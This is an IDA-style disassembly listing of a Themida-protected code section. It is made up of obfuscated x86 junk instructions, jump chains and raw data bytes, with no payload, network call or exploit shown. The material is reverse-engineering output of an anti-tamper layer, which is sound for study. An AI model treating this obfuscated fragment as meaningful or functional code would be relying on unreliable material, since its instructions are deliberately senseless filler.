loc_55ECBC:				; CODE XREF: Themida_:005622EDj
		add	edx, ebp
		sub	edx, 1C3A4C97h
		push	ebx
		mov	ebx, 0B5F0BFAh
		sub	edx, ebx
		pop	ebx
		jmp	loc_555722
; ---------------------------------------------------------------------------


loc_55ECD2:				; CODE XREF: Themida_:0055978Fj
		add	ecx, edi
		pop	edi
		not	ecx
		sub	ecx, 898FC7ADh
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_556864
; ---------------------------------------------------------------------------


loc_55ECE7:				; CODE XREF: Themida_:00559E4Fj
		inc	edi
		add	edi, 0F4ACB103h
		or	ebp, edi
		pop	edi
		add	ebp, 3D947E70h
		shl	ebp, 5
		shl	ebp, 5
		sub	ebp, 0C5DA92DBh
		jmp	loc_55F9A8
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 5E243C89h,	0FF8D49E9h
		dd 4EC81FFh, 0E9000000h, 1CCAh,	0B850C329h, 76872999h
		dd 1CE3C381h, 0C3014343h, 1CE3EB81h, 8B584343h,	0C4832404h
		dd 68C32904h, 836h, 0E9240489h,	0FFFF9FF6h, 31241433h
		dd 69E92414h, 56000012h, 611687BEh, 272EE93Bh, 0E9010000h
		dd 83242C8Bh, 0C3304C4h, 240C3124h, 8B240C33h, 31662424h
		dd 0E99C2404h, 0FFFF3E2Fh, 685EF329h, 698Eh, 68243C89h
		dd 3E436B71h, 0ACFE9h, 24048B00h, 4C481h, 55530000h, 6B51C3BDh
		dd 585FBB57h, 8143100Fh, 433DE3EBh, 75E38176h, 812F6050h
		dd 2B41B2F3h, 0E9EB315Eh, 4AC3h, 0CE81DEF7h, 329620F9h
		dd 4E9DEF7h, 83FFFF5Ah,	36E904ECh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EDE7:				; CODE XREF: Themida_:00556C1Cj
		add	ebp, 4
		sub	esp, 4
		jmp	loc_561A4F
; ---------------------------------------------------------------------------
		dd 40476856h, 348B0D48h, 4C48124h, 0D1000000h, 42F681EEh
		dd 811A3777h, 0F30F3DEEh, 5EF28908h, 2313BF57h,	0CF8139DFh
		dd 13D03244h, 0FF9E45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EE29:				; CODE XREF: Themida_:00557C3Bj
		xor	bh, 0CCh
		xchg	al, bh
		dec	al
		xchg	al, bh
		xor	bh, 0CDh
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	dx
		mov	dh, al
		push	ebx
		mov	bl, cl
		jmp	loc_55CD00
; ---------------------------------------------------------------------------


loc_55EE4C:				; CODE XREF: Themida_:005538F6j
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_557E3A
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0E8h
		dd 81423F02h, 7B12B9EBh, 81C3012Ah, 7B12B9C3h, 967AE92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE72:				; CODE XREF: Themida_:00563080j
		sub	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 5CE03FC5h
		jmp	loc_566D10
; ---------------------------------------------------------------------------


loc_55EE80:				; CODE XREF: Themida_:0055F4EBj
		mov	eax, esp
		jmp	loc_561F9D
; ---------------------------------------------------------------------------
		db 43h
		dd 6B37F381h, 0EB816447h, 484819CCh, 0E905EBC1h, 0FFFF6785h
		dd 6F89E957h, 0D1F60000h, 3084C180h, 240C8BCEh,	417FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EEB1:				; CODE XREF: Themida_:005588CFj
		movzx	ax, byte ptr [eax]
		jmp	loc_55FC4B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0D9890000h, 0FF7B4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EEC9:				; CODE XREF: Themida_:0055D61Bj
		shl	esi, 8
		jmp	loc_55E3FF
; ---------------------------------------------------------------------------
		db 5Ch,	0C0h, 0E4h
		dd 0FFC48005h, 0E918F480h, 0FFFFAEB8h, 0AAE9D388h, 83FFFF82h
		dd 0FF042404h, 525D2434h, 25D2E9h, 2C48100h, 57000000h
		dd 37B5E9h, 38E95C00h, 0F6FFFF8Ah, 68D7h, 3C280000h, 0F5FBE924h
		db 2 dup(0FFh)
word_55EF16	dw 2868h		; DATA XREF: Themida_:00552B44o
		dd 89000068h, 5A502414h, 8904EC83h, 4812414h, 0A25A7224h
		dd 2434FF2Ah, 0E3895358h, 4C381h, 0C3830000h, 241C8704h
		dd 0CFBA525Ch, 813AB621h, 510C9CF2h, 0FFEA812Fh, 0F7FFFFFFh
		dd 74F2E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF5A:				; CODE XREF: Themida_:00562019j
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 460C793Fh
		jmp	loc_562B37
; ---------------------------------------------------------------------------
		dd 0E904C383h, 487Bh, 0BA52h, 0DA010000h, 8B5A028Bh, 0C483241Ch
		dd 0BE7E904h, 77040000h, 0F0005966h, 136868h, 771AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EFB6:				; CODE XREF: Themida_:00563F0Cj
		and	edx, 3F381946h
		push	754Bh
		mov	[esp], ecx
		mov	ecx, 44244750h
		xor	ecx, 6BE20628h
		and	ecx, 6ECC4988h
		jmp	loc_559789
; ---------------------------------------------------------------------------


loc_55EFDA:				; CODE XREF: Themida_:0055E4B7j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56497D
; ---------------------------------------------------------------------------


loc_55EFE5:				; CODE XREF: Themida_:005634CDj
		mov	esi, 3BEB5148h
		push	edx
		jmp	loc_562F04
; ---------------------------------------------------------------------------


loc_55EFF0:				; CODE XREF: Themida_:00558E55j
		push	0C8Dh
		mov	[esp], ecx
		push	ebp
		push	ebx
		push	ebp
		mov	ebp, 4E3330B7h
		push	ebp
		xor	dword ptr [esp], 50161E3h
		pop	ebx
		jmp	loc_554859
; ---------------------------------------------------------------------------
		dw 0C2BAh
		dd 890C487Fh, 0CD895AD1h, 83240C8Bh, 0EB8904C4h, 0EAE9535Dh
		db 64h,	2 dup(0)
byte_55F027	db 50h			; DATA XREF: Themida_:00552B18o
		dd 0FEBD55h, 0E8890000h, 0E9242C8Bh, 0FFFFEE1Dh, 54243C89h
		dd 4C7815Fh, 56000000h,	0FF933BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F049:				; CODE XREF: Themida_:005605C7j
		xchg	ebx, [esp]
		jmp	loc_56172F
; ---------------------------------------------------------------------------
		db 58h,	31h, 0DEh
		dd 53241C8Bh, 0FF8DE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F05D:				; CODE XREF: Themida_:00565885j
		inc	edx
		jmp	loc_5581F9
; ---------------------------------------------------------------------------


loc_55F063:				; CODE XREF: Themida_:0055E065j
		push	0A57h
		mov	[esp], ebp
		jmp	loc_565D8B
; ---------------------------------------------------------------------------


loc_55F070:				; CODE XREF: Themida_:0055C8A0j
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	28CFh
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_566426
; ---------------------------------------------------------------------------
		dw 0CE00h
		dd 0FFA1FEE9h, 240C89FFh, 0BF57E189h, 518565FCh, 8107E7C1h
		dd 4D0204C7h, 0E9F9013Dh, 0FFFFD732h, 0C6885B66h, 24048B66h
		dd 5302C483h, 0E38098B3h, 0E9CBFEEEh, 0FFFFA5B5h, 0BB53DDF7h
		dd 423A2340h, 815BDD31h, 3A67E6F5h, 6665E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F0EE:				; CODE XREF: Themida_:0055E1D1j
		push	41CAh
		mov	[esp], eax
		push	ebx
		jmp	loc_5611A3
; ---------------------------------------------------------------------------
		dd 8EFC15Bh, 0E3EEF81h,	0FFE91602h, 89FFFFF2h, 82BD242Ch
		dd 0C1778514h, 8DE906EDh, 4BFFFFC8h, 25D8C381h,	0DE89FBB9h
		dd 0FF5086E9h, 5DE801FFh, 2C0835Dh, 2474FF50h, 24048B04h
		dd 8F04C483h, 248B2404h, 2886424h, 0FF8D7BE9h, 240481FFh
		dd 4, 8CC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F155:				; CODE XREF: Themida_:00560D2Aj
		push	eax
		jmp	loc_55CCCA
; ---------------------------------------------------------------------------


loc_55F15B:				; CODE XREF: Themida_:00553556j
		xor	ebx, 60C79405h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_554DCE
; ---------------------------------------------------------------------------


loc_55F172:				; CODE XREF: Themida_:00565C8Fj
		mov	[esp], ebx
		jmp	loc_5542EE
; ---------------------------------------------------------------------------
		dw 0FE30h
		dd 0C37FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F182:				; CODE XREF: Themida_:0055BE53j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 29h
		jmp	loc_55C6B0
; ---------------------------------------------------------------------------
		dd 0D0321FBEh, 0FBF577Dh, 0E92E7F7Eh, 0FFFF8C0Fh
; ---------------------------------------------------------------------------


loc_55F1A8:				; CODE XREF: Themida_:0055AE28j
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_5622D8
; ---------------------------------------------------------------------------
		dw 0B568h
		dd 0E900007Ah, 8E3Bh
; ---------------------------------------------------------------------------


loc_55F1BC:				; CODE XREF: Themida_:00565EF9j
		inc	ebp
		jmp	loc_55569B
; ---------------------------------------------------------------------------
		dw 566h
		dd 56648C0h, 57660001h,	0A23ABF66h, 66F80166h, 0C531665Fh
		dd 0BD665558h, 81661DF9h, 66E4A9C5h, 0A6E9E801h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F1EB:				; CODE XREF: Themida_:0055FBC1j
		pop	edi
		push	edx
		mov	edx, 6F44296Fh
		shr	edx, 4
		add	edx, 1
		sub	edx, 17794FA6h
		jmp	loc_5594C4
; ---------------------------------------------------------------------------
		db 31h
		dd 240C87D1h, 0FF39AEE9h, 2C8966FFh, 79BD6624h,	8865E9DDh
		dd 525A0000h, 36FCE9h, 2C8B5F00h, 8AE95124h, 89FFFF53h
		dd 0BB53243Ch, 4C04480Dh, 0BA52D3F7h, 6DB457CFh, 17CDC281h
		dd 0F2815939h, 94044E97h, 0A8E9D321h, 31000043h, 0C8215DE9h
		dd 0FFD1A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F259:				; CODE XREF: Themida_:00554854j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	0D0h
		mov	[esp], eax
		jmp	loc_553B3A
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 0FFh
		dd 1FFFF44h, 0FB015AD3h, 8904EC83h, 9EBF243Ch, 29116302h
		dd 0BF575FFBh, 7EA117DCh, 8147DFF7h, 0B61026EFh, 65CF8176h
		dd 0E9283F79h, 1663h, 0FF390EE9h, 92C181FFh, 8108205Fh
		dd 207359C1h, 59CA011Fh, 5C241487h, 0EC83C80Fh,	243C8904h
		dd 5610E9h, 5311B000h, 0CB864DB3h, 3001E980h, 0E9D930CBh
		dd 0FFFFB876h, 0A2E9525Bh, 1FFFF54h, 98EF81D7h,	5A4A724Ah
		dd 0FF445EE9h, 85BB53FFh, 0E941757Dh, 0FFFFE62Ch
; ---------------------------------------------------------------------------


loc_55F300:				; CODE XREF: Themida_:0055C6ABj
		pop	ebx
		jmp	loc_564CA6
; ---------------------------------------------------------------------------
aZsSSfb		db '┤ИаА',7,'И■│',0
		align 10h
		dd 63C38166h, 0C0B70F32h, 4A156866h, 24048966h,	0FFC8EDE9h
		dd 4393BEFFh, 0F1E9501Fh, 66FFFFEAh, 0B4240489h, 66E1881Bh
		dd 0E9CA3058h, 0FFFF911Ch, 585AB850h, 0E0C15435h, 46232D08h
		dd 88056BABh, 0E978012Eh, 0FFFF7833h, 815BDE01h, 26AA8EBh
		dd 8C39E902h, 0D9F70000h, 5930C981h, 47E924E7h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F373:				; CODE XREF: Themida_:00553260j
		sub	ebx, 71BF73C5h
		jmp	loc_567205
; ---------------------------------------------------------------------------
aX313LTsj	db ')гX3<$1<$3<$▀$$TИ├ ',0
		db 0
; ---------------------------------------------------------------------------


loc_55F393:				; CODE XREF: Themida_:00559EB7j
		push	ebx
		jmp	loc_560504
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FFFF5CCEh
; ---------------------------------------------------------------------------


loc_55F3A0:				; CODE XREF: Themida_:005626A7j
		mov	[esp], esi
		push	5588Ch
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 442F54E4h
		sub	ebx, 4434AD6Fh
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, edi
		mov	edi, [esp]
		push	1457h
		jmp	loc_567CC2
; ---------------------------------------------------------------------------


loc_55F3D3:				; CODE XREF: Themida_:00567285j
		sub	esp, 4
		mov	[esp], ecx
		push	11AB6E8Ah
		pop	ecx
		push	ecx
		not	dword ptr [esp]
		jmp	loc_55455E
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 6B6C67BBh
		dd 58C38127h, 530750DAh, 8B30428Fh, 8952241Ch, 4C281E2h
		dd 0E9000000h, 0FFFF56D5h
; ---------------------------------------------------------------------------


loc_55F418:				; CODE XREF: Themida_:0055AC62j
		add	ebp, 7FFC6CFCh
		neg	ebp
		shr	ebp, 2
		sub	ebp, 0A03B6222h
		sub	eax, 1C3726BEh
		jmp	loc_55E880
; ---------------------------------------------------------------------------


loc_55F433:				; CODE XREF: Themida_:00556641j
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 16660BD0h
		push	edx
		push	7024h
		jmp	loc_562220
; ---------------------------------------------------------------------------
aYIsJ		db ')мY)КИнJ',0
		db 0
; ---------------------------------------------------------------------------


loc_55F45F:				; CODE XREF: Themida_:00553446j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_556891
; ---------------------------------------------------------------------------
		dd 0B450C7B3h, 58E30894h, 6643E380h, 0E9102C68h, 0FFFF7191h
		dd 5A2414F7h, 0DCBF281h, 0D0290EEBh, 2D60E95Ah
		db 2 dup(0), 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5643EF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 3C8B2434h, 4C48124h,	83000000h, 0C38904C4h, 0FF3E0BE9h
		dd 2BE56FFh, 0E9000000h, 22C6h
; ---------------------------------------------------------------------------


loc_55F4C4:				; CODE XREF: Themida_:00554BC8j
		add	ebx, 4
		push	edx
		jmp	loc_5587C5
; ---------------------------------------------------------------------------
		dd 8104C483h, 4ECh, 6E95E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F4DE:				; CODE XREF: Themida_:00557EACj
		add	esp, 4
		add	[edi+24h], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		jmp	loc_55EE80
; ---------------------------------------------------------------------------


loc_55F4F0:				; CODE XREF: Themida_:00557FDAj
		mov	[esp], ebx
		mov	ebx, 343A31E3h
		sub	esp, 4
		jmp	loc_56305B
; ---------------------------------------------------------------------------
		dd 5366D000h, 0E9527EB7h, 0FFFF9A7Ch, 24048F5Ah, 6624248Bh
		dd 0E9240C8Bh, 3FC0h
; ---------------------------------------------------------------------------


loc_55F51C:				; CODE XREF: Themida_:0055C1D5j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_565C82
; ---------------------------------------------------------------------------


loc_55F528:				; CODE XREF: Themida_:0056127Aj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_564635
; ---------------------------------------------------------------------------
dword_55F534	dd 9C241CF7h, 0FF367EE9h, 0F3895FFFh, 5E68E95Eh
					; DATA XREF: Themida_:00552AD0o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F546:				; CODE XREF: Themida_:00554A47j
		dec	cl
		xor	cl, 0F0h
		push	bx
		mov	bl, 8Ah
		add	cl, bl
		pop	bx
		push	eax
		jmp	loc_55D5A4
; ---------------------------------------------------------------------------
		db 0BAh, 0D7h, 47h
		dd 0D12950E9h, 0E924148Bh, 0FFFFDDCCh, 6EA2F681h, 8156423Bh
		dd 135F2434h, 815A3D38h, 38135FF2h, 57095E3Dh, 2434FF1Ch
		dd 3AFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F589:				; CODE XREF: Themida_:005548F3j
		sub	esp, 4
		jmp	loc_55BD16
; ---------------------------------------------------------------------------


loc_55F591:				; CODE XREF: Themida_:00562DDEj
		mov	edi, 7D725795h
		sub	edi, 56421842h
		sub	edi, 49740A2h
		jmp	loc_559E46
; ---------------------------------------------------------------------------


loc_55F5A7:				; CODE XREF: Themida_:005543CDj
		add	ebx, 1
		and	ebx, 30B52023h
		add	ebx, 0CDA4966h
		sub	ebx, 1D8A456Bh
		jmp	loc_55B195
; ---------------------------------------------------------------------------
		db 5Dh,	56h, 0BEh
		dd 6B2535DBh, 0FF5EF729h, 50582434h, 0B951E089h, 41C84391h
		dd 438DE981h, 0C80141C8h, 83240C8Bh, 0C08304C4h, 24048704h
		dd 8324248Bh, 2C8904ECh, 2BD24h, 0EF010000h, 74FF575Dh
		dd 8F5F0424h, 248B2404h, 43E924h, 8B540000h, 54522414h
		dd 86DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F619:				; CODE XREF: Themida_:005556CDj
		xor	edi, edx
		jmp	loc_5543E9
; ---------------------------------------------------------------------------
		dd 8102EDC1h, 63F819EDh, 5DE829F1h, 0EF05F801h,	0FF284B5Dh
		dd 0E95F2434h, 7905h
; ---------------------------------------------------------------------------


loc_55F63C:				; CODE XREF: Themida_:00554257j
		push	38B2h
		mov	[esp], edx
		jmp	loc_555AD2
; ---------------------------------------------------------------------------


loc_55F649:				; CODE XREF: Themida_:0055E8ECj
		add	esp, 4
		jmp	loc_56499F
; ---------------------------------------------------------------------------
		db 66h,	21h, 4
		dd 60E99C24h, 0F7FFFF35h, 8ACE81DEh, 0E95C4922h, 0FFFFE84Bh
; ---------------------------------------------------------------------------


loc_55F668:				; CODE XREF: Themida_:00567D3Aj
		sub	edx, esi
		pop	esi
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1E675C4Ah
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5578C2
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF241Ch, 0E4E90424h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F693:				; CODE XREF: Themida_:00568057j
		pop	ebx
		add	ebx, 4
		jmp	loc_561555
; ---------------------------------------------------------------------------
aBxlf		db '│Е▀f',0
		dd 53D5F720h, 0AABA5257h, 0F7519B7Ah, 14F281DAh, 89E8A7A0h
		dd 0F7815AD7h, 47290815h, 0FF4C3CE9h, 240C89FFh, 0B875A1B9h
		dd 0FFF18113h, 2D276D6Dh, 1DB31BF5h, 246FBF57h,	0C62D3B37h
		dd 29500A28h, 59F4E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F6EA:				; CODE XREF: Themida_:0056661Bj
		pop	esp
		jmp	loc_558A54
; ---------------------------------------------------------------------------


loc_55F6F0:				; CODE XREF: Themida_:00565552j
		mov	ecx, 6E4B062Ah
		jmp	loc_557EC9
; ---------------------------------------------------------------------------


loc_55F6FA:				; CODE XREF: Themida_:00560B12j
		pop	ecx
		sub	[esp+8], ecx
		jmp	loc_55E543
; ---------------------------------------------------------------------------
		dd 42BBBD55h, 0C581442Ch, 0EDBCE3B1h, 0CAE9E909h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F717:				; CODE XREF: Themida_:0055E4EEj
		mov	[esp], esi
		push	1B1Ch
		mov	[esp], esp
		push	ebp
		push	edx
		mov	edx, 76F45F5h
		push	eax
		push	ecx
		mov	ecx, 6B2A14DFh
		xor	ecx, 6C455126h
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		sub	ebp, edx
		pop	edx
		add	dword ptr [esp+4], 2F7A66FCh
		add	[esp+4], ebp
		jmp	loc_55DAF2
; ---------------------------------------------------------------------------


loc_55F758:				; CODE XREF: Themida_:0055C8D8j
		sub	esp, 4
		jmp	loc_55A37B
; ---------------------------------------------------------------------------


loc_55F760:				; CODE XREF: Themida_:005636BEj
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_56317A
; ---------------------------------------------------------------------------
word_55F76E	dw 77FFh		; DATA XREF: Themida_:00552998o
		dd 11589D1Ch, 0E99C2404h, 0FFFF343Fh, 0EC81E389h, 4, 28BEE9h
		dd 80C18000h, 52FFE980h, 0E280F9B2h, 80C2FE0Ch,	0C28073E2h
		dd 0B36AE98Ch, 0C781FFFFh, 4, 2F3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F7AD:				; CODE XREF: Themida_:00552EFEj
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 1
		xor	edx, 0B8E7CA4Ah
		mov	ecx, edx
		pop	edx
		push	0
		sub	dword ptr [esp], 0CC10F7h
		sub	[esp], ecx
		add	dword ptr [esp], 0CC10F7h
		pop	ecx
		push	0C33h
		mov	[esp], ebx
		mov	ebx, 0F6E40DBh
		not	ebx
		sub	ebx, 33450C6Bh
		and	ebx, 1CE71D4Eh
		neg	ebx
		inc	ebx
		sub	ebx, 2E774B41h
		sub	ecx, ebx
		pop	ebx
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_558DFF
; ---------------------------------------------------------------------------


loc_55F816:				; CODE XREF: Themida_:00565336j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_566620
; ---------------------------------------------------------------------------
		db 57h
		dd 42474FFh, 24048F5Fh,	0E924248Bh, 8331h
dword_55F838	dd 0FF2434FFh, 0E9592434h, 59D5h ; DATA	XREF: Themida_:00552A0Co
; ---------------------------------------------------------------------------


loc_55F844:				; CODE XREF: Themida_:00557985j
		mov	ecx, 363B29Eh
		add	ecx, eax
		pop	eax
		shl	ecx, 5
		shr	ecx, 6
		jmp	loc_566E60
; ---------------------------------------------------------------------------
		db 56h
		dd 0BEh, 6CC68100h, 29031955h, 6CEE81EEh, 0E9031955h, 0FFFFC061h
		dd 1C7835Fh, 8104E7C1h,	0CE1BAAC7h, 0E950977Ah,	0FFFFC138h
; ---------------------------------------------------------------------------


loc_55F884:				; CODE XREF: Themida_:0055B249j
		add	ebx, 16FB3452h
		shr	ebx, 3
		jmp	loc_5593CB
; ---------------------------------------------------------------------------


loc_55F892:				; CODE XREF: Themida_:0055CEE5j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_556BBA
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0EF33C780h, 48BC701h, 4C48324h, 555FFD01h, 42474FFh
		dd 13AAE9h, 81E58900h, 4C5h, 4ED8300h, 77C3E9h,	34FF5400h
		dd 89575A24h, 4C781E7h,	83000000h, 3C8704C7h, 0BB535C24h
		dd 38793CB8h, 0DBF74B4Bh, 785FE381h, 20E96A33h,	8B000053h
		dd 0CD22424h, 0B8E99C24h, 0F7FFFF32h, 81CA87D1h, 4A1E83C2h
		dd 0FFD3016Fh, 535A2434h, 0FDE9E389h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F91B:				; CODE XREF: Themida_:0056664Dj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55DB8C
; ---------------------------------------------------------------------------
		db 29h
		dd 34875AD6h, 3C895C24h, 555F5424h, 4BDh, 2530E900h, 70E90000h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F94B:				; CODE XREF: Themida_:00554208j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 308E5F04h
		dec	ebp
		or	ebp, 5BAB69D6h
		add	ebp, 8450802Dh
		sub	edi, 0EE82027h
		add	edi, ebp
		add	edi, 0EE82027h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_557185
; ---------------------------------------------------------------------------
		dw 5366h
		dd 0D3F6C388h, 2DE9D888h, 68FFFFF7h, 28FEh, 0E9241C89h
		dd 0FFFF5467h
dword_55F9A0	dd 0E92434FFh, 0FFFF4A00h ; DATA XREF: Themida_:00552954o
; ---------------------------------------------------------------------------


loc_55F9A8:				; CODE XREF: Themida_:0055ED03j
		add	ebx, ebp
		pop	ebp
		add	ebx, edi
		sub	ebx, 54F52125h
		push	dword ptr [ebx]
		pop	eax
		push	dword ptr [esp]
		jmp	loc_554470
; ---------------------------------------------------------------------------


loc_55F9BE:				; CODE XREF: Themida_:00566829j
		add	edi, 4
		jmp	loc_56675D
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0B8500000h, 47114EA2h, 31E9D8F7h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F9DB:				; CODE XREF: Themida_:0055CBB4j
		mov	edi, esp
		push	ebx
		mov	ebx, 531D10D3h
		push	edi
		jmp	loc_56220A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 0C688C888h, 0EE285958h, 369E9h, 24348900h
		dd 4BEh, 9FC28100h, 814BB925h, 0E77CC3EAh, 81F2015Ch, 0E77CC3C2h
		dd 6852575Ch, 669F6D1Bh, 8324148Bh, 0EA8104C4h,	0F70B67A3h
		dd 69E9D789h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA33:				; CODE XREF: Themida_:005616DDj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_567E01
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF24248Bh, 34FF2434h, 24048B24h, 4C481h, 0C4830000h
		dd 6EE95204h, 89FFFFFEh, 83BA2414h, 810CED5Eh, 0B9AA0DC2h
		dd 34206812h, 34890000h, 59BB5324h, 0E9072024h,	0FFFFF69Bh
		dd 8769E95Dh, 3158FFFFh, 243C8BFAh, 2D04C483h, 2CB0615Ch
		dd 0FF6363E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FA99:				; CODE XREF: Themida_:00560D0Bj
		push	ecx
		push	ebp
		push	ebx
		mov	ebx, 27EE6BADh
		shr	ebx, 5
		jmp	loc_55580A
; ---------------------------------------------------------------------------
		db 56h,	68h, 72h
		dd 5E549164h, 0FFAF13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAB5:				; CODE XREF: Themida_:00552D85j
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565006
; ---------------------------------------------------------------------------
		dd 2474FF57h, 2434FF04h, 8B2434FFh, 46E9243Ch, 9000070h
		dd 34FF1C47h, 2434FF24h, 4C48158h, 83000000h, 0C8904ECh
		dd 4EC8324h, 83242489h,	59042404h, 4BE56h, 0C1810000h
		dd 78BF461Fh, 0E981F101h, 78BF461Fh, 0E92434FFh, 0FFFFDF9Dh
		dd 0E9243C33h, 0FFFF4C87h
; ---------------------------------------------------------------------------


loc_55FB38:				; CODE XREF: Themida_:0055322Cj
		pop	eax
		jmp	loc_554E94
; ---------------------------------------------------------------------------
		dw 592Dh
		dd 297EA550h, 505905F8h, 15F7EA5h, 4EC81E8h, 89000000h
		dd 7CE92414h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB5B:				; CODE XREF: Themida_:0055D69Bj
		pop	esp
		not	edx
		inc	edx
		shr	edx, 2
		add	edx, 0FFFFFFFFh
		add	edx, 0EF913D7Dh


loc_55FB6E:				; CODE XREF: Themida_:00562C56j
					; Themida_:loc_5668CFj
		push	dword ptr [edi+24h]
		jmp	loc_55D8BD
; ---------------------------------------------------------------------------


loc_55FB76:				; CODE XREF: Themida_:00566B9Bj
		mov	edx, [esp]
		push	edx
		push	esp
		jmp	loc_556E54
; ---------------------------------------------------------------------------


loc_55FB80:				; CODE XREF: Themida_:00555B39j
		add	esp, 4
		or	eax, eax
		jmp	loc_55E22C
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0EDh
		dd 52FFFF84h, 78E4E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB9A:				; CODE XREF: Themida_:00557D6Bj
		mov	ch, 13h
		mov	dh, 54h
		xor	dh, ch
		jmp	loc_563069
; ---------------------------------------------------------------------------


loc_55FBA5:				; CODE XREF: Themida_:00567D2Aj
		mov	ecx, 48110C34h
		push	edi
		mov	edi, 5D5D07B6h
		neg	edi
		inc	edi
		or	edi, 17DF0219h
		sub	edi, 5F8CB949h
		xor	ecx, edi
		jmp	loc_55F1EB
; ---------------------------------------------------------------------------
